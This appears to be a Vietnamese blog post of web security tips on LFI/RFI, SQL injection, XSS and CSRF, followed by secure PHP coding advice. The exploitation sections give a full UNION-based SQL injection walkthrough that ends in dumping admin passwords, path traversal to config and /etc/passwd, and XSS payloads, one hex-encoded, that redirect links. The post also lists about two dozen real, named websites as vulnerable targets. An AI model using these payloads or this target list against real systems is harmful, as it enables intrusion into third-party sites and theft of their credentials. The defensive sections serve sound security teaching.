Tip secu

1. LỖI LFD, LFI, RFI

1.1. Khai thác:
1.1.1. Google Dork:
http://nguoixanhtihon.blogspot.com/2013/06/google-dork-rfi.html
1.1.2. Khai thác:
victim site có dạng:
victim.com/page=abc
và trong mã nguồn của site có hàm include/require 1 file khác kiểu như:
<?php
include('include/'.$_GET[page].'.php');
?>
Chúng ta chèn truy vấn page = ../../config.php hay đại loại vậy, có thể dùng quét cấu trúc site để biết các tập tin nhạy cảm.
Một số file không có đuôi .php như /etc/passwd ta muốn truy cập, phải thêm để loại bỏ phần sau.
Nếu PHP cho phép truy cập từ xa (allow_url_fopen=On và allow_url_include=On) thì có thể câu qua các file trên máy khác.
1.2. Phòng chống:
1.2.1. Kiểm tra dữ liệu đầu vào, các ký tự đặc biệt
- Dùng hàm như : htmlspecialchars(mysql_real_escape_string("biến"))
* Chúa ý rằng có nhiều hàm tương tự (vô hiệu hóa bằng cách cho back slash trước ', '', \, ):
mysql_real_escape_string
addslashes
magic_quote_gpc (đã loại bỏ sau PHP 5.4)
...
Nên chỉ dùng 1 trong các loại trên.
1.2.2. Disable các module, function:
- Set on cho magic_quote (vô hiệu hóa , ', '', \)
- Cấm include remote file: chèn 2 dòng sau vào .htaccess:
   RewriteCond %{QUERY_STRING} (.*)(http|https|ftp):\/\/(.*)  
   RewriteRule ^(.+)$ - [F]
   Set allow_url_fopen=Off và allow_url_include=Off (hoặc allow_url_fopen=On và allow_url_include=Off)
Sử dụng các biện pháp thay thế nếu có ứng dụng bắt buộc phải đọc file bên ngoài, xem thêm tại: http://nguoixanhtihon.blogspot.com/2013/06/cach-khac-phuc-truong-hop-bao-loi-do.html)
- Chú ý: php://filter/read=convert.base64-encode/resource
- Vô hiệu hóa eval() trong php
- register_globals=off
- display_error=off
- set open_basedir trong php.ini
- Sử dụng đường dẫn tuyệt đối
1.2.3. Chroot cho các thư mục trên máy chủ cẩn thận


2. LỖI SQL INJECTION

2.1. Khai thác:
2.1.1. Google Dork:
http://nguoixanhtihon.blogspot.com/2013/06/google-dork-sql-injection.html
2.1.2. Khai thác:
Ví dụ link bình thường: 
   http://victim.com/id=4
Ta thêm:
   http://victim.com/id=4'
bị lỗi: SQL syntax ---> Lỗi SQL injection
Tìm hiểu số column được Select, nếu Select * thì nghĩa là tổng số column trong table
   http://victim.com/id=4 ORDER BY 1--   ---> không lỗi
   http://victim.com/id=4 ORDER BY 2--   ---> không lỗi
   ...
   http://victim.com/id=4 ORDER BY n--   ---> lỗi
---> số column là n - 1. Ta gọi c = n - 1
Giải thích: 
Tìm hiểu ý nghĩa của ORDER BY
Ý nghĩa của 1,2,3...n ở đây là nó tương ứng thứ tự từ trái sang phải của các column được SELECT
Dấu -- để vô hiệu hóa phần phía sau
Tìm hiểu column nào được show info ra giao diện:
   http://victim.com/id=NULL UNION SELECT 1,2,...c--
Giả sử nó hiện ra số 2,3 ---> column 2,3 được output.
Giải thích:
Với "id=NULL" ---> không có dữ liệu nào được show ra
Tuy nhiên, vì có UNION, dữ liệu Output ra sẽ là phần "SELECT 1,2,...c". Tùy theo front-end website cho phép column nào show ra mà ta sẽ thấy số 1,2,..hay n được hiển thị.
Ví dụ: sau khi gõ lệnh trên, nó hiện ra số 2, 3 nghĩa là column 2,3 được "echo" ra giao diện (or somthing like that)
Tìm hiểu các thông tin
   http://victim.com/id=NULL UNION SELECT 1,version(),3...c-- hoặc
   http://victim.com/id=NULL UNION SELECT 1,unhex(hex(@@version)),3...c--
   http://victim.com/id=NULL UNION SELECT 1,database(),3...c--
   http://victim.com/id=NULL UNION SELECT 1,user(),3...c--
   http://victim.com/id=NULL UNION SELECT 1,@@datadir,3...c--
---> Ra version của MySQL, database, user...

   http://victim.com/id=NULL UNION SELECT 1,group_concat(table_name),3...c FROM information_schema.tables WHERE table_schema=database()--
---> Danh sách các table
Ta tìm 1 table nào ta cảm thấy đó chính là table user/admin để khai thác. Giả sửa là table: admin.

   http://victim.com/id=NULL UNION SELECT 1,group_concat(column_name),3...c FROM information_schema.columns WHERE table_name=CHAR(97, 100, 109, 105, 110)--
---> Ta không thể dùng table_name="admin"-- vì các dấu quote sẽ bị vô hiệu hóa, thay vào đó ta đổi sang CHAR/ASCII
Giả sử các column trong table admin là:
admin_id,admin_groups_id,admin_firstname,admin_lastname,admin_email_address,admin_password,admin_created,admin_modified,admin_logdate,admin_lognum

   http://victim.com/id=NULL UNION SELECT 1,2,group_concat(admin_id, 0x3a, admin_password),4,5,6,7,8 FROM admin

2.1.3: Một số trang bị lỗi:
http://www.ga-k9.com/customer_testimonials.php?testimonial_id=10
http://collards.co.za/customer_testimonials.php?'&testimonial_id=14
http://www.healthbeyond2000.co.nz/shop/customer_testimonials.php?testimonial_id=1
http://www.gocookie.com/customer_testimonials.php?testimonial_id=7
http://www.ga-k9.com/customer_testimonials.php?testimonial_id=10
http://collards.co.za/customer_testimonials.php?'&testimonial_id=14
http://www.healthbeyond2000.co.nz/shop/customer_testimonials.php?testimonial_id=1
http://www.gocookie.com/customer_testimonials.php?testimonial_id=7
http://www.supermagnetman.net/customer_testimonials.php?testimonial_id=3
http://www.elementcable.com/catalog/customer_testimonials.php?testimonial_id=67
http://www.gocookie.com/customer_testimonials.php?testimonial_id=5
http://www.multigyn.com/customer_testimonials.php?testimonial_id=4
http://www.kukukakikukakukaku.com/hacking-with-sql-injection.sonk
http://www.4ushops.co.nz/customer_testimonials.php?testimonial_id=31
http://supercheappc.co.nz/site/customer_testimonials.php?testimonial_id=4
http://www.falseeyelashesstore.com/customer_testimonials.php?'&testimonial_id=8'&osCsid=85ed4052623c4d75a19ed7ab462c1904
http://supercheappc.co.nz/site/customer_testimonials.php?testimonial_id=17
http://www.supermagnetman.net/customer_testimonials.php?testimonial_id=2
http://reflectionsofhonor.com/catalog/customer_testimonials.php?testimonial_id=9
http://www.dollsupply.com/shop/customer_testimonials.php?testimonial_id=13
http://www.4ushops.co.nz/customer_testimonials.php?testimonial_id=19
http://www.autographdealer.com/customer_testimonials.php?testimonial_id=5
http://www.gpsparatodos.com/customer_testimonials.php?testimonial_id=43'&'&testimonial_id=71'&osCsid=8fad3764b48dff9bf101e46caecbb508
http://www.autographdealer.com/customer_testimonials.php?testimonial_id=5
http://www.boardsandbits.com/product_info.php?products_id=13977

2.2. Phòng chống:
Một số cách chống SQL injection (ở đây ta chủ yếu làm việc trong môi trường với PHP):
Kiểm tra dữ liệu đầu vào
Đối với PHP, dùng bindParam(), ví dụ
<?php
/* Execute a prepared statement by binding PHP variables */
$calories = 150;
$colour = 'red';
$sth = $dbh->prepare('SELECT name, colour, calories
    FROM fruit
    WHERE calories < :calories AND colour = :colour');
$sth->bindParam(':calories', $calories, PDO::PARAM_INT);
$sth->bindParam(':colour', $colour, PDO::PARAM_STR, 12);
$sth->execute();
?>
Dùng các hàm loại bỏ ký tự đặc biệt:
Dùng hàm như : mysql_real_escape_string("biến")


3. LỖI XSS
3.1. Khai thác
Nhân diện:
Những website cho user nhận dữ liệu đầu vào và dùng dữ liệu đó để thực hiện các tác vụ, đặc biệt có show lại dữ liệu đó ra front-end.
Bao gồm các phần như: search, comment, forum chat...
Ví dụ:
Đây là mã nguồn trang bị lỗi
<?php
$name = $_GET['name'];
echo "Welcome $name<br>";
echo "<a href="http://xssattackexamples.com/">Click to Download</a>";

?>
Như vậy, ta chỉ cần gửi request:
index.php?name=guest<script>alert('attacked')</script>
Hoặc:

index.php?name=<script>window.onload = function() {var link=document.getElementsByTagName("a");link[0].href="http://not-real-xssattackexamples.com/";}</script>
Hay mã hóa hex string URL:
index.php?name=%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%22%61%22%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%61%74%74%61%63%6b%65%72%2d%73%69%74%65%2e%63%6f%6d%2f%22%3b%7d%3c%2f%73%63%72%69%70%74%3e

Ta sẽ thấy ngay tác hại như thế nào.

3.2. Phòng chống
Về cơ bản lỗi này không khó chống, ta chỉ cần filter dữ liệu đầu vào và escape dữ liệu đầu ra thật ổn là được.
Ta có thể dùng hàm:
htmlspecialchars($string, ENT_QUOTES, 'UTF-8');
Rất đơn giản nhưng hàm này lại rất hữu hiệu.

4. LỖI CROSS-SITE REQUEST FORGERY (XSRF)
1. Khai thác
Ví dụ, trong trang web của bạn, có 1 chức năng là delete bài viết, url để thực hiện tác vụ trên là:
yoursite.com/admin/manager.php?act=del&name=abc
Attacker, có rất nhiều cơ hội để biết được url trên (đặc biệt nếu trang web của bạn dựa trên mã nguồn có sẵn trên mạng), hắn ta sẽ chèn đường link trên vào 1 nơi mà admin (chính là bạn) vô tình truy cập, và... thế là bạn dùng cookie của mình thực hiện lệnh trên. Xong



MỘT SỐ PHƯƠNG PHÁP CODING AN TOÀN TRONG PHP

Tư tưởng:
Ngay từ ban đầu, bạn phải hoạch định hệ thống của bạn thật tốt. Luôn tâm niệm rằng 1 ngày nào đó bãn sẽ phải sửa chữa, thêm tính năng... Việc này giúp bạn nâng cao khả năng mở rộng, tính khoa học, module hóa của hệ thống, và đặc biệt, yếu tố bảo mật được chú ý ngay từ đầu.
Bảo mật phải trên nhiều lớp, nhiều phần, thành 1 hệ thống, chứ không thể rời rạc. Chưa kể, còn phải cân bằng với tính tiện lợi của sản phẩm.
Một yếu tố quan trọng nữa trong tư tưởng của bạn ngày từ đầu là KHÔNG tin vào khách hàng của mình (các user), có đầy rẫy các hacker ngoài kia.
Bắt đầu:

1. Các thao tác với PHP.INI và hệ thống:
1.1. error_reporting=0
Đây là directive cho phép hiện thông báo lỗi. Hacker có thể lợi dụng nó để khai thác thông tin. Tốt nhất bạn nên disable nó. Chỉ khi trong quá trình phát triển (chưa public) bạn mới bật lên để sửa lỗi...
1.2. Ngăn chặn việc truy xuất các tài nguyên bên ngoài:
set allow_url_fopen=Off
set open_basedir trong php.ini

1.3. Ngăn chặn 1 số hàm nguy hiểm, có thể can thiệp vào hệ thống:
Chúng ta dùng disable_function trong php.ini, theo sau là các hàm cần loại bỏ:
disable_function ini_set(), exec(), fopen(), popen(), passthru(), readfile(), file(), shell_exec(), system(), eval()

2. Các thao tác trên mã nguồn ứng dụng và của lập trình viên:
2.1. register_global=Off và/hoặc set initial value cho biến:
Register_global là 1 directive trong php.ini
Nếu bật on, nó sẽ cho phép ta sử dụng biết toàn cục (global variable), nhưng cái nguy hiểm là các biến được hình thành từ chính chuổi query trên url.
Ví dụ:

if ($password == "my_password") {
    $authorized = 1;
}
if ($authorized == 1) {
    echo "Lots of important stuff.";
}
Khi user gửi request: index.php?authorized=1, coi như mặc nhiên nó được nhảy đến    echo "Lots of important stuff.";
Cách giải quyết trong trường hợp này là
set register_global=Off
hoặc thêm $authorized = 0; vào đầu script

2.2. Dùng các hàm filter dữ liệu input:
htmlspecialchars($string, ENT_QUOTES, 'UTF-8');
mysql_real_escape_string
Tham khảo mục phòng chống XSS, SQL injection, RFI...

2.3. Dùng hàm bindParam()
Đây là 1 hàm chuyên biệt chống SQL injection, tham khảo phần SQL injection.

2.4. Đặt thư mục quản trị ở 1 nơi, hoặc 1 tên gọi không ngờ tới.
Việc này làm giảm khả năng đoán mò của attacker khi muốn vào phần admin.

2.5. Đặt file connection ở 1 nơi an toàn và tên an toàn:
Tốt nhất là đặt ngoài web root.
Chú ý: tên file connection không dùng đuôi .inc (vì có thể show ra cho người dùng cuối)

2.6. Set access permission hợp lý và có file index.html ở tất cả các thư mục:
Đối với các thư mục như admin, connection, set permission là 700
Đối với các thư mục sẽ ghi file như images...
Đối với các thư mục khác: 0755, tập tin: 0644

2.7. Ngăn chặn spam:
Bạn có thể ngăn chặn spam dễ dàng bằng cách thêm phần captcha vào các nơi cho user nhập vào như: register, search, comment...

Nhận xét